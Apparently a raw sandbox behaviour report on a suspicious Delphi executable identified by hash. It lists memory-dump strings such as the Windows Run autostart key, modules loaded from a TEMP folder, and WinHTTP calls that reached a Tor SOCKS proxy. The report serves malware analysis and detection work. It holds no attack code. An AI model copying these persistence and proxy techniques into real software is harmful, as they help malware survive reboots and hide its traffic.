0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe "System\CurrentControlSet\Control\Keyboard Layouts\%.8x" in Source: 0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe "SOFTWARE\Borland\Delphi\RTL" in Source: 00000000-00007408.00000000.95569.04960000.00000004.mdmp 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp 00000000-00007408.00000001.97489.00401000.00000020.mdmp 00000000-00007408.00000001.97489.04960000.00000004.mdmp 00000000-00007408.00000001.97489.7E920000.00000004.mdmp 00000000-00007408.00000001.97489.7F010000.00000004.mdmp 00000000-00007408.00000001.97489.7F360000.00000004.mdmp 00000000-00007408.00000002.99408.065F1000.00000020.mdmp 00000000-00007408.00000002.99408.7E950000.00000004.mdmp 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp 00000000-00007408.00000002.99408.7F110000.00000004.mdmp "Software\Borland\Locales" in Source: 00000000-00007408.00000000.95569.04960000.00000004.mdmp 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp 00000000-00007408.00000001.97489.00401000.00000020.mdmp 00000000-00007408.00000001.97489.04960000.00000004.mdmp 00000000-00007408.00000001.97489.7E920000.00000004.mdmp 00000000-00007408.00000001.97489.7F010000.00000004.mdmp 00000000-00007408.00000001.97489.7F360000.00000004.mdmp 00000000-00007408.00000002.99408.065F1000.00000020.mdmp 00000000-00007408.00000002.99408.7E950000.00000004.mdmp 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp 00000000-00007408.00000002.99408.7F110000.00000004.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00007408.00000000.95569.04960000.00000004.mdmp 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp 00000000-00007408.00000001.97489.00401000.00000020.mdmp 00000000-00007408.00000001.97489.04960000.00000004.mdmp 00000000-00007408.00000001.97489.7E920000.00000004.mdmp 00000000-00007408.00000001.97489.7F010000.00000004.mdmp 00000000-00007408.00000001.97489.7F360000.00000004.mdmp 00000000-00007408.00000002.99408.065F1000.00000020.mdmp 00000000-00007408.00000002.99408.7E950000.00000004.mdmp 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp 00000000-00007408.00000002.99408.7F110000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007408.00000000.95569.04960000.00000004.mdmp 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp 00000000-00007408.00000001.97489.04960000.00000004.mdmp 00000000-00007408.00000002.99408.065F1000.00000020.mdmp 00000000-00007408.00000002.99408.7F110000.00000004.mdmp "Software\Mercury32" in Source: 00000000-00007408.00000000.95569.7F1E0000.00000004.mdmp 00000000-00007408.00000002.99408.7F110000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes" in Source: 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp 00000000-00007408.00000001.97489.00401000.00000020.mdmp 00000000-00007408.00000001.97489.7E920000.00000004.mdmp 00000000-00007408.00000001.97489.7F010000.00000004.mdmp 00000000-00007408.00000001.97489.7F360000.00000004.mdmp 00000000-00007408.00000002.99408.7E950000.00000004.mdmp 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp "\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\" in Source: 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp 00000000-00007408.00000001.97489.00401000.00000020.mdmp 00000000-00007408.00000001.97489.7E920000.00000004.mdmp 00000000-00007408.00000001.97489.7F010000.00000004.mdmp 00000000-00007408.00000001.97489.7F360000.00000004.mdmp 00000000-00007408.00000002.99408.7E950000.00000004.mdmp 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp "System\CurrentControlSet\Control\Keyboard Layouts\%.8x" in Source: 00000000-00007408.00000000.95569.7F2E0000.00000004.mdmp 00000000-00007408.00000001.97489.00401000.00000020.mdmp 00000000-00007408.00000001.97489.7E920000.00000004.mdmp 00000000-00007408.00000001.97489.7F010000.00000004.mdmp 00000000-00007408.00000001.97489.7F360000.00000004.mdmp 00000000-00007408.00000002.99408.7E950000.00000004.mdmp 00000000-00007408.00000002.99408.7EEE0000.00000004.mdmp3d:T1652,"0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 774c0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 774c0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 774c0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "KERNEL32" at base 77730000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73830000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 741e0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "KERNEL32.DLL" at base 77730000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "OLEPRO32.DLL" at base 73890000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "UXTHEME.DLL" at base 741e0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "COMCTL32" at base 73610000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "ARCHIVEINT" at base 0 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "COMCTL32.DLL" at base 73610000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "URL" at base 735d0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "RPCRT4.DLL" at base 75da0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 72740000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76e90000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "AMSI" at base 73880000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "SMARTSCREENPS" at base 72710000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "BROWSER" at base 0 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "MSSIP32" at base 73880000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "AMSIPROXY" at base 0 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "URLSI" at base 0 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "OLEAUT32.DLL" at base 74870000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "ADVAPI32.DLL" at base 767b0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "USER32.DLL" at base 76570000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "WINMM.DLL" at base 72710000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "OLE32.DLL" at base 76c80000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSTEM32\NTDLL.DLL" at base 77d10000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "NTDLL" at base 77d10000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "WININET" at base 72410000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "SSPICLI.DLL" at base 74730000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 723f0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "WINHTTP.DLL" at base 720b0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 723f0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "WINTRUST" at base 76b30000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "BCRYPT" at base 73ab0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "SMARTSCREENPS" at base 723c0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 739e0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 73880000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72360000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "AMSI" at base 723e0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 723d0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "AMSI" at base 723c0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 71f60000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "MSSIP32" at base 723c0000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "SMARTSCREENPS" at base 71f30000 "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" loaded module "SMARTSCREENPS" at base 71ee00003e:T4e1,"0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "WinHttp.WinHttpRequest.5.1.CreateObject" ... "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "WinHttp.WinHttpRequest.5.1.Open" ... "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "WinHttp.WinHttpRequest.5.1.Send" ... "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "WinHttp.WinHttpRequest.5.1.ResponseText" ... "0951a4a0aa2cfa91d5477895e6302d68fcddd490691787e63261e7bf9982e5cd.exe" called "WinHttp.WinHttpRequest.5.1.ResponseText" with result: "This is a SOCKS Proxy, Not An HTTP Proxy

This is a SOCKs proxy, not an HTTP proxy.

It appears you have configured your web browser to use this Tor port asan HTTP proxy.

This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.

See https://www.torproject.org/documentation.html for more information.